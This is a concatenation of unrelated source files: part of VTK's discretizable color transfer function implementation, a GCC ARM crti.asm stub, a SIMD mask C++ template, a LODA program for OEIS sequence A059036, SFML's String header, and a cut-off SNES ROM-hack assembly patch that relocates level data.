delete this->Internals;
this->Internals = NULL;
}
//-----------------------------------------------------------------------------
unsigned long vtkDiscretizableColorTransferFunction::GetMTime()
{
unsigned long mtime = this->Superclass::GetMTime();
if (this->ScalarOpacityFunction)
{
unsigned long somtime = this->ScalarOpacityFunction->GetMTime();
mtime = somtime > mtime? somtime : mtime;
}
if (this->LookupTable)
{
unsigned ltmtime = this->LookupTable->GetMTime();
mtime = ltmtime > mtime? ltmtime : mtime;
}
return mtime;
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::SetNumberOfIndexedColors(
unsigned int count)
{
if (static_cast<unsigned int>(this->Internals->IndexedColors.size()) != count)
{
this->Internals->IndexedColors.resize(count);
this->Modified();
}
}
//-----------------------------------------------------------------------------
unsigned int vtkDiscretizableColorTransferFunction::GetNumberOfIndexedColors()
{
return static_cast<unsigned int>(this->Internals->IndexedColors.size());
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::SetIndexedColor(
unsigned int index, double r, double g, double b)
{
if (static_cast<unsigned int>(this->Internals->IndexedColors.size()) <= index)
{
// resize and fill all new colors with the same color as specified.
size_t old_size = this->Internals->IndexedColors.size();
size_t new_size = static_cast<size_t>(index+1);
this->Internals->IndexedColors.resize(new_size);
for (size_t cc = old_size; cc < new_size; cc++)
{
double *data = this->Internals->IndexedColors[cc].GetData();
data[0] = r;
data[1] = g;
data[2] = b;
}
this->Modified();
}
else if (this->Internals->IndexedColors[index].GetData()[0] != r ||
this->Internals->IndexedColors[index].GetData()[1] != g ||
this->Internals->IndexedColors[index].GetData()[2] != b )
{
// color has changed, change it.
double *data = this->Internals->IndexedColors[index].GetData();
data[0] = r;
data[1] = g;
data[2] = b;
this->Modified();
}
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::GetIndexedColor(vtkIdType i, double rgba[4])
{
if (this->IndexedLookup || this->Discretize)
{
this->LookupTable->GetIndexedColor(i, rgba);
}
else
{
this->Superclass::GetIndexedColor(i, rgba);
}
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::SetUseLogScale(int useLogScale)
{
if(this->UseLogScale != useLogScale)
{
this->UseLogScale = useLogScale;
if(this->UseLogScale)
{
this->LookupTable->SetScaleToLog10();
this->SetScaleToLog10();
}
else
{
this->LookupTable->SetScaleToLinear();
this->SetScaleToLinear();
}
this->Modified();
}
}
//-----------------------------------------------------------------------------
int vtkDiscretizableColorTransferFunction::IsOpaque()
{
return !this->EnableOpacityMapping;
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::Build()
{
this->Superclass::Build();
if (this->BuildTime > this->GetMTime())
{
// no need to rebuild anything.
return;
}
this->LookupTable->SetVectorMode(this->VectorMode);
this->LookupTable->SetVectorComponent(this->VectorComponent);
this->LookupTable->SetIndexedLookup(this->IndexedLookup);
this->LookupTable->SetUseBelowRangeColor(this->UseBelowRangeColor);
this->LookupTable->SetUseAboveRangeColor(this->UseAboveRangeColor);
double rgba[4];
this->GetBelowRangeColor(rgba);
rgba[3] = 1.0;
this->LookupTable->SetBelowRangeColor(rgba);
this->GetAboveRangeColor(rgba);
rgba[3] = 1.0;
this->LookupTable->SetAboveRangeColor(rgba);
// this is essential since other the LookupTable doesn't update the
// annotations map. That's a bug in the implementation of
// vtkScalarsToColors::SetAnnotations(..,..);
this->LookupTable->SetAnnotations(NULL, NULL);
this->LookupTable->SetAnnotations(this->AnnotatedValues, this->Annotations);
if (this->IndexedLookup)
{
if (this->GetNumberOfIndexedColors() > 0)
{
// Use the specified indexed-colors.
vtkIdType count = this->GetNumberOfAnnotatedValues();
this->LookupTable->SetNumberOfTableValues(count);
for (size_t cc=0; cc < this->Internals->IndexedColors.size() &&
cc < static_cast<size_t>(count); cc++)
{
rgba[0] = this->Internals->IndexedColors[cc].GetData()[0];
rgba[1] = this->Internals->IndexedColors[cc].GetData()[1];
rgba[2] = this->Internals->IndexedColors[cc].GetData()[2];
rgba[3] = 1.0;
this->LookupTable->SetTableValue(static_cast<int>(cc), rgba);
}
}
else
{
// old logic for backwards compatibility.
int nv = this->GetSize();
this->LookupTable->SetNumberOfTableValues( nv );
double nodeVal[6];
for ( int i = 0; i < nv; ++ i )
{
this->GetNodeValue( i, nodeVal );
nodeVal[4] = 1.;
this->LookupTable->SetTableValue( i, &nodeVal[1] );
}
}
}
else if (this->Discretize)
{
// Do not omit the LookupTable->SetNumberOfTableValues call:
// WritePointer does not update the NumberOfColors ivar.
this->LookupTable->SetNumberOfTableValues(this->NumberOfValues);
unsigned char* lut_ptr = this->LookupTable->WritePointer(0,
this->NumberOfValues);
double* table = new double[this->NumberOfValues * 3];
double range[2];
this->GetRange(range);
bool logRangeValid = true;
if (this->UseLogScale)
{
logRangeValid = range[0] > 0.0 || range[1] < 0.0;
if(!logRangeValid && this->LookupTable->GetScale() == VTK_SCALE_LOG10)
{
this->LookupTable->SetScaleToLinear();
}
}
this->LookupTable->SetRange(range);
if(this->UseLogScale && logRangeValid &&
this->LookupTable->GetScale() == VTK_SCALE_LINEAR)
{
this->LookupTable->SetScaleToLog10();
}
this->GetTable(range[0], range[1], this->NumberOfValues, table);
// Now, convert double to unsigned chars and fill the LUT.
for (int cc=0; cc < this->NumberOfValues; cc++)
{
lut_ptr[4*cc] = (unsigned char)(255.0*table[3*cc] + 0.5);
lut_ptr[4*cc+1] = (unsigned char)(255.0*table[3*cc+1] + 0.5);
lut_ptr[4*cc+2] = (unsigned char)(255.0*table[3*cc+2] + 0.5);
lut_ptr[4*cc+3] = 255;
}
delete [] table;
}
this->LookupTable->BuildSpecialColors();
this->BuildTime.Modified();
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::SetAlpha(double alpha)
{
this->LookupTable->SetAlpha(alpha);
this->Superclass::SetAlpha(alpha);
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::SetNanColor(double r, double g, double b)
{
this->LookupTable->SetNanColor(r, g, b, 1.0);
this->Superclass::SetNanColor(r, g, b);
}
//-----------------------------------------------------------------------------
unsigned char* vtkDiscretizableColorTransferFunction::MapValue(double v)
{
this->Build();
if (this->Discretize || this->IndexedLookup)
{
return this->LookupTable->MapValue(v);
}
return this->Superclass::MapValue(v);
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::GetColor(double v, double rgb[3])
{
this->Build();
if (this->Discretize || this->IndexedLookup)
{
this->LookupTable->GetColor(v, rgb);
}
else
{
this->Superclass::GetColor(v, rgb);
}
}
//-----------------------------------------------------------------------------
double vtkDiscretizableColorTransferFunction::GetOpacity(double v)
{
if (
this->IndexedLookup ||
!this->EnableOpacityMapping ||
!this->ScalarOpacityFunction)
{
return this->Superclass::GetOpacity(v);
}
return this->ScalarOpacityFunction->GetValue(v);
}
//-----------------------------------------------------------------------------
vtkUnsignedCharArray* vtkDiscretizableColorTransferFunction::MapScalars(
vtkDataArray *scalars, int colorMode, int component)
{
return this->MapScalars(static_cast<vtkAbstractArray*>(scalars), colorMode, component);
}
//-----------------------------------------------------------------------------
vtkUnsignedCharArray* vtkDiscretizableColorTransferFunction::MapScalars(
vtkAbstractArray *scalars, int colorMode, int component)
{
this->Build();
// if direct scalar mapping is enabled (and possible), the LUT is not used for
// color and we won't use it for opacity either.
bool direct_scalar_mapping =
((colorMode == VTK_COLOR_MODE_DEFAULT &&
vtkUnsignedCharArray::SafeDownCast(scalars) != NULL) ||
colorMode == VTK_COLOR_MODE_DIRECT_SCALARS);
vtkUnsignedCharArray *colors = (this->Discretize || this->IndexedLookup) ?
this->LookupTable->MapScalars(scalars, colorMode, component):
this->Superclass::MapScalars(scalars, colorMode, component);
// calculate alpha values
if (colors &&
(colors->GetNumberOfComponents() == 4) &&
(direct_scalar_mapping == false) &&
(this->IndexedLookup == false) && // we don't change alpha for IndexedLookup.
(this->EnableOpacityMapping == true) &&
(this->ScalarOpacityFunction.GetPointer() != NULL))
{
vtkDataArray* da = vtkDataArray::SafeDownCast(scalars);
this->MapDataArrayToOpacity(da, component, colors);
}
return colors;
}
template<typename T>
struct VectorComponentGetter
{
double Get(
T* scalars, int component, int numberOfComponents, vtkIdType tuple)
{
double value = *(scalars + tuple * numberOfComponents + component);
return value;
}
};
template<typename T>
struct VectorMagnitudeGetter
{
double Get(
T* scalars, int component, int numberOfComponents, vtkIdType tuple)
{
(void)component;
double v = 0.0;
for (int j = 0; j < numberOfComponents; ++j)
{
double u = *(scalars + tuple * numberOfComponents + j);
v += u * u;
}
v = sqrt (v);
return v;
}
};
//-----------------------------------------------------------------------------
template<typename T, typename VectorGetter>
void vtkDiscretizableColorTransferFunction::MapVectorToOpacity (
VectorGetter getter, T* scalars, int component,
int numberOfComponents, vtkIdType numberOfTuples, unsigned char* colors)
{
for(vtkIdType i = 0; i < numberOfTuples; i++)
{
double value = getter.Get (scalars, component, numberOfComponents, i);
double alpha = this->ScalarOpacityFunction->GetValue(value);
*(colors + i * 4 + 3) = static_cast<unsigned char>(alpha * 255.0 + 0.5);
}
}
//-----------------------------------------------------------------------------
template<template<class> class VectorGetter>
void vtkDiscretizableColorTransferFunction::AllTypesMapVectorToOpacity (
int scalarType,
void* scalarPtr, int component,
int numberOfComponents, vtkIdType numberOfTuples, unsigned char* colorPtr)
{
switch (scalarType)
{
vtkTemplateAliasMacro(
MapVectorToOpacity(
VectorGetter<VTK_TT>(),
static_cast<VTK_TT*>(scalarPtr), component, numberOfComponents,
numberOfTuples, colorPtr));
}
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::MapDataArrayToOpacity(
vtkDataArray *scalars, int component, vtkUnsignedCharArray* colors)
{
int scalarType = scalars->GetDataType ();
void* scalarPtr = scalars->GetVoidPointer(0);
unsigned char* colorPtr = static_cast<unsigned char*> (
colors->GetVoidPointer(0));
int numberOfComponents = scalars->GetNumberOfComponents ();
vtkIdType numberOfTuples = scalars->GetNumberOfTuples ();
if (component >= numberOfComponents)
{
vtkWarningMacro(
<< "Clamping component: " << component
<< " to numberOfComponents - 1: " << (numberOfComponents - 1));
component = numberOfComponents - 1;
}
if (component < 0)
{
AllTypesMapVectorToOpacity<VectorMagnitudeGetter> (
scalarType, scalarPtr,
component, numberOfComponents, numberOfTuples, colorPtr);
}
else
{
AllTypesMapVectorToOpacity<VectorComponentGetter> (
scalarType, scalarPtr,
component, numberOfComponents, numberOfTuples, colorPtr);
}
}
#ifndef VTK_LEGACY_REMOVE
//-----------------------------------------------------------------------------
double* vtkDiscretizableColorTransferFunction::GetRGBPoints()
{
// This method is redundant with
// vtkColorTransferFunction::GetDataPointer(), so we simply call
// that method here.
VTK_LEGACY_REPLACED_BODY(vtkDiscretizableColorTransferFunction::GetRGBPoints,
"VTK 6.2", "vtkDiscretizableColorTransferFunction::GetDataPointer()" );
return this->Superclass::GetDataPointer();
}
#endif
//----------------------------------------------------------------------------
vtkIdType vtkDiscretizableColorTransferFunction::GetNumberOfAvailableColors()
{
if(this->Discretize == false)
{
return 16777216; // 2^24
}
return this->NumberOfValues;
}
//----------------------------------------------------------------------------
vtkPiecewiseFunction* vtkDiscretizableColorTransferFunction::GetScalarOpacityFunction() const
{
return this->ScalarOpacityFunction;
}
//-----------------------------------------------------------------------------
void vtkDiscretizableColorTransferFunction::PrintSelf(ostream& os, vtkIndent indent)
{
this->Superclass::PrintSelf(os, indent);
os << indent << "Discretize: " << this->Discretize << endl;
os << indent << "NumberOfValues: " << this->NumberOfValues << endl;
os << indent << "UseLogScale: " << this->UseLogScale << endl;
os << indent << "EnableOpacityMapping: " << this->EnableOpacityMapping << endl;
os << indent << "ScalarOpacityFunction: " << this->ScalarOpacityFunction << endl;
}
|
# Copyright (C) 2001 Free Software Foundation, Inc.
# Written By Nick Clifton
#
# This file is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2, or (at your option) any
# later version.
#
# In addition to the permissions in the GNU General Public License, the
# Free Software Foundation gives you unlimited permission to link the
# compiled version of this file with other programs, and to distribute
# those programs without any restriction coming from the use of this
# file. (The General Public License restrictions do apply in other
# respects; for example, they cover modification of the file, and
# distribution when not linked into another program.)
#
# This file is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; see the file COPYING. If not, write to
# the Free Software Foundation, 59 Temple Place - Suite 330,
# Boston, MA 02111-1307, USA.
#
# As a special exception, if you link this library with files
# compiled with GCC to produce an executable, this does not cause
# the resulting executable to be covered by the GNU General Public License.
# This exception does not however invalidate any other reasons why
# the executable file might be covered by the GNU General Public License.
#
# This file just make a stack frame for the contents of the .fini and
# .init sections. Users may put any desired instructions in those
# sections.
# Note - this macro is complemented by the FUNC_END macro
# in crtn.asm. If you change this macro you must also change
# that macro match.
.macro FUNC_START
#ifdef __thumb__
.thumb
push {r4, r5, r6, r7, lr}
#else
.arm
# Create a stack frame and save any call-preserved registers
mov ip, sp
stmdb sp!, {r4, r5, r6, r7, r8, r9, sl, fp, ip, lr, pc}
sub fp, ip, #4
#endif
.endm
.file "crti.asm"
.section ".init"
.align 2
.global _init
#ifdef __thumb__
.thumb_func
#endif
_init:
FUNC_START
.section ".fini"
.align 2
.global _fini
#ifdef __thumb__
.thumb_func
#endif
_fini:
FUNC_START
# end of crti.asm
|
#pragma once
#include <stdint.h>
#include <assert.h>
#include <utility>
#include <limits>
#include "SimdMaskTraits.hpp"
// This template class packs results of multiple vector tests in a single scalar.
// The default template parameters are for SSE1, they use 32-bit scalar, that's enough for 8 conditions. For wider SIMD or more conditions, you can switch to 64 bit scalars.
template<class eKey, class tMask = uint32_t, class tReg = __m128, class tTraits = SimdMaskTraits<tReg>>
class SimdMask
{
tMask m_mask;
// Count of lanes per register.
static constexpr int nLanes = tTraits::nLanes;
// Contains "1" for all lanes in test #0
static constexpr tMask allSetMask = ( ~( (tMask)0 ) ) >> ( sizeof( tMask ) * 8 - nLanes );
template<eKey v>
static constexpr __forceinline int shiftBits()
{
static_assert( std::is_integral<tMask>::value, "Mask must be integer" );
static_assert( !std::numeric_limits<tMask>::is_signed, "Mask must be unsigned" );
constexpr int i = (int)v;
static_assert( ( i + 1 ) * nLanes <= sizeof( tMask ) * 8, "The key is too large." );
return i * nLanes;
}
template<eKey v>
__forceinline void combine_or( int mask )
{
m_mask |= ( (tMask)( mask ) << shiftBits<v>() );
}
template<eKey v>
static constexpr __forceinline tMask valueMask()
{
return ( (tMask)allSetMask ) << shiftBits<v>();
}
public:
// Set all bits to 0
__forceinline SimdMask() : m_mask( (tMask)0 ) { }
// Copy from another one.
__forceinline SimdMask( const SimdMask& that ) : m_mask( that.m_mask ) { }
// Reset everything
__forceinline void clearEverything()
{
m_mask = (tMask)0;
}
// Clear all lanes for the specified condition.
template<eKey v>
__forceinline void clear()
{
constexpr tMask bits = ( allSetMask << shiftBits<v>() );
m_mask &= ( ~bits );
}
// Merge, using bitwise |, with the values from the vector.
template<eKey v>
__forceinline void setVector( tReg r )
{
const int mask = tTraits::fromVector( r );
combine_or<v>( mask );
}
// Merge, using bitwise |, with all true values for a specific test.
template<eKey v>
__forceinline void setAll()
{
combine_or<v>( (int)allSetMask );
}
// Check if every lane for the condition tested negatively.
template<eKey v>
__forceinline bool False() const
{
return 0 == ( m_mask & valueMask<v>() );
}
// Check if every lane for the condition tested positively.
template<eKey v>
__forceinline bool True() const
{
constexpr tMask m = valueMask<v>();
return m == ( m_mask & m );
}
// Check specific lane for specific condition.
template<eKey v, int lane>
__forceinline bool condition() const
{
static_assert( lane >= 0 && lane < nLanes, "Invalid lane index" );
constexpr tMask m = ( (tMask)( 1 ) ) << ( shiftBits<v>() + lane );
return 0 != ( m_mask & m );
}
// Check specific lane for specific condition. Unlike the previous one, the lane here can be non-const, however the performance is slightly better when they're constants.
template<eKey v>
__forceinline bool condition( int lane ) const
{
assert( lane >= 0 && lane < nLanes );
const tMask m = ( (tMask)( 1 ) ) << ( shiftBits<v>() + lane );
return 0 != ( m_mask & m );
}
}; |
; A059036: In a triangle of numbers (such as that in A059032, A059033, A059034) how many entries lie above position (n,k)? Answer: T(n,k) = (n+1)*(k+1)-1 (n >= 0, k >= 0).
; Submitted by Jamie Morken(s4)
; 0,1,1,2,3,2,3,5,5,3,4,7,8,7,4,5,9,11,11,9,5,6,11,14,15,14,11,6,7,13,17,19,19,17,13,7,8,15,20,23,24,23,20,15,8,9,17,23,27,29,29,27,23,17,9,10,19,26,31,34,35,34,31,26,19,10,11,21,29,35,39,41
lpb $0
add $1,1
sub $0,$1
lpe
add $0,1
add $1,2
sub $1,$0
mul $1,$0
mov $0,$1
sub $0,1
|
////////////////////////////////////////////////////////////
//
// SFML - Simple and Fast Multimedia Library
// Copyright (C) 2007-2013 Laurent Gomila (laurent.gom@gmail.com)
//
// This software is provided 'as-is', without any express or implied warranty.
// In no event will the authors be held liable for any damages arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it freely,
// subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented;
// you must not claim that you wrote the original software.
// If you use this software in a product, an acknowledgment
// in the product documentation would be appreciated but is not required.
//
// 2. Altered source versions must be plainly marked as such,
// and must not be misrepresented as being the original software.
//
// 3. This notice may not be removed or altered from any source distribution.
//
////////////////////////////////////////////////////////////
#ifndef SFML_STRING_HPP
#define SFML_STRING_HPP
////////////////////////////////////////////////////////////
// Headers
////////////////////////////////////////////////////////////
#include <SFML/System/Export.hpp>
#include <locale>
#include <string>
namespace sf
{
////////////////////////////////////////////////////////////
/// \brief Utility string class that automatically handles
/// conversions between types and encodings
///
////////////////////////////////////////////////////////////
class SFML_SYSTEM_API String
{
public :
////////////////////////////////////////////////////////////
// Types
////////////////////////////////////////////////////////////
typedef std::basic_string<Uint32>::iterator Iterator; ///< Iterator type
typedef std::basic_string<Uint32>::const_iterator ConstIterator; ///< Constant iterator type
////////////////////////////////////////////////////////////
// Static member data
////////////////////////////////////////////////////////////
static const std::size_t InvalidPos; ///< Represents an invalid position in the string
////////////////////////////////////////////////////////////
/// \brief Default constructor
///
/// This constructor creates an empty string.
///
////////////////////////////////////////////////////////////
String();
////////////////////////////////////////////////////////////
/// \brief Construct from a single ANSI character and a locale
///
/// The source character is converted to UTF-32 according
/// to the given locale.
///
/// \param ansiChar ANSI character to convert
/// \param locale Locale to use for conversion
///
////////////////////////////////////////////////////////////
String(char ansiChar, const std::locale& locale = std::locale());
////////////////////////////////////////////////////////////
/// \brief Construct from single wide character
///
/// \param wideChar Wide character to convert
///
////////////////////////////////////////////////////////////
String(wchar_t wideChar);
////////////////////////////////////////////////////////////
/// \brief Construct from single UTF-32 character
///
/// \param utf32Char UTF-32 character to convert
///
////////////////////////////////////////////////////////////
String(Uint32 utf32Char);
////////////////////////////////////////////////////////////
/// \brief Construct from a null-terminated C-style ANSI string and a locale
///
/// The source string is converted to UTF-32 according
/// to the given locale.
///
/// \param ansiString ANSI string to convert
/// \param locale Locale to use for conversion
///
////////////////////////////////////////////////////////////
String(const char* ansiString, const std::locale& locale = std::locale());
////////////////////////////////////////////////////////////
/// \brief Construct from an ANSI string and a locale
///
/// The source string is converted to UTF-32 according
/// to the given locale.
///
/// \param ansiString ANSI string to convert
/// \param locale Locale to use for conversion
///
////////////////////////////////////////////////////////////
String(const std::string& ansiString, const std::locale& locale = std::locale());
////////////////////////////////////////////////////////////
/// \brief Construct from null-terminated C-style wide string
///
/// \param wideString Wide string to convert
///
////////////////////////////////////////////////////////////
String(const wchar_t* wideString);
////////////////////////////////////////////////////////////
/// \brief Construct from a wide string
///
/// \param wideString Wide string to convert
///
////////////////////////////////////////////////////////////
String(const std::wstring& wideString);
////////////////////////////////////////////////////////////
/// \brief Construct from a null-terminated C-style UTF-32 string
///
/// \param utf32String UTF-32 string to assign
///
////////////////////////////////////////////////////////////
String(const Uint32* utf32String);
////////////////////////////////////////////////////////////
/// \brief Construct from an UTF-32 string
///
/// \param utf32String UTF-32 string to assign
///
////////////////////////////////////////////////////////////
String(const std::basic_string<Uint32>& utf32String);
////////////////////////////////////////////////////////////
/// \brief Copy constructor
///
/// \param copy Instance to copy
///
////////////////////////////////////////////////////////////
String(const String& copy);
////////////////////////////////////////////////////////////
/// \brief Implicit cast operator to std::string (ANSI string)
///
/// The current global locale is used for conversion. If you
/// want to explicitely specify a locale, see toAnsiString.
/// Characters that do not fit in the target encoding are
/// discarded from the returned string.
/// This operator is defined for convenience, and is equivalent
/// to calling toAnsiString().
///
/// \return Converted ANSI string
///
/// \see toAnsiString, operator std::wstring
///
////////////////////////////////////////////////////////////
operator std::string() const;
////////////////////////////////////////////////////////////
/// \brief Implicit cast operator to std::wstring (wide string)
///
/// Characters that do not fit in the target encoding are
/// discarded from the returned string.
/// This operator is defined for convenience, and is equivalent
/// to calling toWideString().
///
/// \return Converted wide string
///
/// \see toWideString, operator std::string
///
////////////////////////////////////////////////////////////
operator std::wstring() const;
////////////////////////////////////////////////////////////
/// \brief Convert the unicode string to an ANSI string
///
/// The UTF-32 string is converted to an ANSI string in
/// the encoding defined by \a locale.
/// Characters that do not fit in the target encoding are
/// discarded from the returned string.
///
/// \param locale Locale to use for conversion
///
/// \return Converted ANSI string
///
/// \see toWideString, operator std::string
///
////////////////////////////////////////////////////////////
std::string toAnsiString(const std::locale& locale = std::locale()) const;
////////////////////////////////////////////////////////////
/// \brief Convert the unicode string to a wide string
///
/// Characters that do not fit in the target encoding are
/// discarded from the returned string.
///
/// \return Converted wide string
///
/// \see toAnsiString, operator std::wstring
///
////////////////////////////////////////////////////////////
std::wstring toWideString() const;
////////////////////////////////////////////////////////////
/// \brief Overload of assignment operator
///
/// \param right Instance to assign
///
/// \return Reference to self
///
////////////////////////////////////////////////////////////
String& operator =(const String& right);
////////////////////////////////////////////////////////////
/// \brief Overload of += operator to append an UTF-32 string
///
/// \param right String to append
///
/// \return Reference to self
///
////////////////////////////////////////////////////////////
String& operator +=(const String& right);
////////////////////////////////////////////////////////////
/// \brief Overload of [] operator to access a character by its position
///
/// This function provides read-only access to characters.
/// Note: this function doesn't throw if \a index is out of range.
///
/// \param index Index of the character to get
///
/// \return Character at position \a index
///
////////////////////////////////////////////////////////////
Uint32 operator [](std::size_t index) const;
////////////////////////////////////////////////////////////
/// \brief Overload of [] operator to access a character by its position
///
/// This function provides read and write access to characters.
/// Note: this function doesn't throw if \a index is out of range.
///
/// \param index Index of the character to get
///
/// \return Reference to the character at position \a index
///
////////////////////////////////////////////////////////////
Uint32& operator [](std::size_t index);
////////////////////////////////////////////////////////////
/// \brief Clear the string
///
/// This function removes all the characters from the string.
///
/// \see isEmpty, erase
///
////////////////////////////////////////////////////////////
void clear();
////////////////////////////////////////////////////////////
/// \brief Get the size of the string
///
/// \return Number of characters in the string
///
/// \see isEmpty
///
////////////////////////////////////////////////////////////
std::size_t getSize() const;
////////////////////////////////////////////////////////////
/// \brief Check whether the string is empty or not
///
/// \return True if the string is empty (i.e. contains no character)
///
/// \see clear, getSize
///
////////////////////////////////////////////////////////////
bool isEmpty() const;
////////////////////////////////////////////////////////////
/// \brief Erase one or more characters from the string
///
/// This function removes a sequence of \a count characters
/// starting from \a position.
///
/// \param position Position of the first character to erase
/// \param count Number of characters to erase
///
////////////////////////////////////////////////////////////
void erase(std::size_t position, std::size_t count = 1);
////////////////////////////////////////////////////////////
/// \brief Insert one or more characters into the string
///
/// This function inserts the characters of \a str
/// into the string, starting from \a position.
///
/// \param position Position of insertion
/// \param str Characters to insert
///
////////////////////////////////////////////////////////////
void insert(std::size_t position, const String& str);
////////////////////////////////////////////////////////////
/// \brief Find a sequence of one or more characters in the string
///
/// This function searches for the characters of \a str
/// into the string, starting from \a start.
///
/// \param str Characters to find
/// \param start Where to begin searching
///
/// \return Position of \a str in the string, or String::InvalidPos if not found
///
////////////////////////////////////////////////////////////
std::size_t find(const String& str, std::size_t start = 0) const;
////////////////////////////////////////////////////////////
/// \brief Get a pointer to the C-style array of characters
///
/// This functions provides a read-only access to a
/// null-terminated C-style representation of the string.
/// The returned pointer is temporary and is meant only for
/// immediate use, thus it is not recommended to store it.
///
/// \return Read-only pointer to the array of characters
///
////////////////////////////////////////////////////////////
const Uint32* getData() const;
////////////////////////////////////////////////////////////
/// \brief Return an iterator to the beginning of the string
///
/// \return Read-write iterator to the beginning of the string characters
///
/// \see end
///
////////////////////////////////////////////////////////////
Iterator begin();
////////////////////////////////////////////////////////////
/// \brief Return an iterator to the beginning of the string
///
/// \return Read-only iterator to the beginning of the string characters
///
/// \see end
///
////////////////////////////////////////////////////////////
ConstIterator begin() const;
////////////////////////////////////////////////////////////
/// \brief Return an iterator to the beginning of the string
///
/// The end iterator refers to 1 position past the last character;
/// thus it represents an invalid character and should never be
/// accessed.
///
/// \return Read-write iterator to the end of the string characters
///
/// \see begin
///
////////////////////////////////////////////////////////////
Iterator end();
////////////////////////////////////////////////////////////
/// \brief Return an iterator to the beginning of the string
///
/// The end iterator refers to 1 position past the last character;
/// thus it represents an invalid character and should never be
/// accessed.
///
/// \return Read-only iterator to the end of the string characters
///
/// \see begin
///
////////////////////////////////////////////////////////////
ConstIterator end() const;
private :
friend SFML_SYSTEM_API bool operator ==(const String& left, const String& right);
friend SFML_SYSTEM_API bool operator <(const String& left, const String& right);
////////////////////////////////////////////////////////////
// Member data
////////////////////////////////////////////////////////////
std::basic_string<Uint32> m_string; ///< Internal string of UTF-32 characters
};
////////////////////////////////////////////////////////////
/// \relates String
/// \brief Overload of == operator to compare two UTF-32 strings
///
/// \param left Left operand (a string)
/// \param right Right operand (a string)
///
/// \return True if both strings are equal
///
////////////////////////////////////////////////////////////
SFML_SYSTEM_API bool operator ==(const String& left, const String& right);
////////////////////////////////////////////////////////////
/// \relates String
/// \brief Overload of != operator to compare two UTF-32 strings
///
/// \param left Left operand (a string)
/// \param right Right operand (a string)
///
/// \return True if both strings are different
///
////////////////////////////////////////////////////////////
SFML_SYSTEM_API bool operator !=(const String& left, const String& right);
////////////////////////////////////////////////////////////
/// \relates String
/// \brief Overload of < operator to compare two UTF-32 strings
///
/// \param left Left operand (a string)
/// \param right Right operand (a string)
///
/// \return True if \a left is alphabetically lesser than \a right
///
////////////////////////////////////////////////////////////
SFML_SYSTEM_API bool operator <(const String& left, const String& right);
////////////////////////////////////////////////////////////
/// \relates String
/// \brief Overload of > operator to compare two UTF-32 strings
///
/// \param left Left operand (a string)
/// \param right Right operand (a string)
///
/// \return True if \a left is alphabetically greater than \a right
///
////////////////////////////////////////////////////////////
SFML_SYSTEM_API bool operator >(const String& left, const String& right);
////////////////////////////////////////////////////////////
/// \relates String
/// \brief Overload of <= operator to compare two UTF-32 strings
///
/// \param left Left operand (a string)
/// \param right Right operand (a string)
///
/// \return True if \a left is alphabetically lesser or equal than \a right
///
////////////////////////////////////////////////////////////
SFML_SYSTEM_API bool operator <=(const String& left, const String& right);
////////////////////////////////////////////////////////////
/// \relates String
/// \brief Overload of >= operator to compare two UTF-32 strings
///
/// \param left Left operand (a string)
/// \param right Right operand (a string)
///
/// \return True if \a left is alphabetically greater or equal than \a right
///
////////////////////////////////////////////////////////////
SFML_SYSTEM_API bool operator >=(const String& left, const String& right);
////////////////////////////////////////////////////////////
/// \relates String
/// \brief Overload of binary + operator to concatenate two strings
///
/// \param left Left operand (a string)
/// \param right Right operand (a string)
///
/// \return Concatenated string
///
////////////////////////////////////////////////////////////
SFML_SYSTEM_API String operator +(const String& left, const String& right);
} // namespace sf
#endif // SFML_STRING_HPP
////////////////////////////////////////////////////////////
/// \class sf::String
/// \ingroup system
///
/// sf::String is a utility string class defined mainly for
/// convenience. It is a Unicode string (implemented using
/// UTF-32), thus it can store any character in the world
/// (european, chinese, arabic, hebrew, etc.).
///
/// It automatically handles conversions from/to ANSI and
/// wide strings, so that you can work with standard string
/// classes and still be compatible with functions taking a
/// sf::String.
///
/// \code
/// sf::String s;
///
/// std::string s1 = s; // automatically converted to ANSI string
/// std::wstring s2 = s; // automatically converted to wide string
/// s = "hello"; // automatically converted from ANSI string
/// s = L"hello"; // automatically converted from wide string
/// s += 'a'; // automatically converted from ANSI string
/// s += L'a'; // automatically converted from wide string
/// \endcode
///
/// Conversions involving ANSI strings use the default user locale. However
/// it is possible to use a custom locale if necessary:
/// \code
/// std::locale locale;
/// sf::String s;
/// ...
/// std::string s1 = s.toAnsiString(locale);
/// s = sf::String("hello", locale);
/// \endcode
///
/// sf::String defines the most important functions of the
/// standard std::string class: removing, random access, iterating,
/// appending, comparing, etc. However it is a simple class
/// provided for convenience, and you may have to consider using
/// a more optimized class if your program requires complex string
/// handling. The automatic conversion functions will then take
/// care of converting your string to sf::String whenever SFML
/// requires it.
///
/// Please note that SFML also defines a low-level, generic
/// interface for Unicode handling, see the sf::Utf classes.
///
////////////////////////////////////////////////////////////
|
;Allow sprite data to be located in extended region
org $01B09A
jmp.w SetSpriteDataPointer
padbyte $FF
pad $01B0AD
;Allow level names to be located in extended region
org $00C789
jml.l SetLevelNameDataPointer
padbyte $FF
pad $00C795
;Allow level messages to be located in extended region
org $01E19A
jmp.w SetLevelMessageDataPointer
padbyte $FF
org $01E1A9
;Extra code
org $01EDB0
CopyDataToSRAM:
phb
phk
plb
ldx.b SRAMCopySrcLo ; Setup X register for MVN
ldy.b SRAMCopyDstLo ; Setup Y register for MVN
lda.w SRAMCopyDstHi ;\Setup MVN instruction (opcode+first byte of operand)
xba ;|
ora.w #$0054 ;|
sta.b SRAMCopyRt ;/
lda.b SRAMCopySrcHi ;\Setup MVN instruction (second byte of operand)+RTL instruction
ora.w #$6B00 ;|
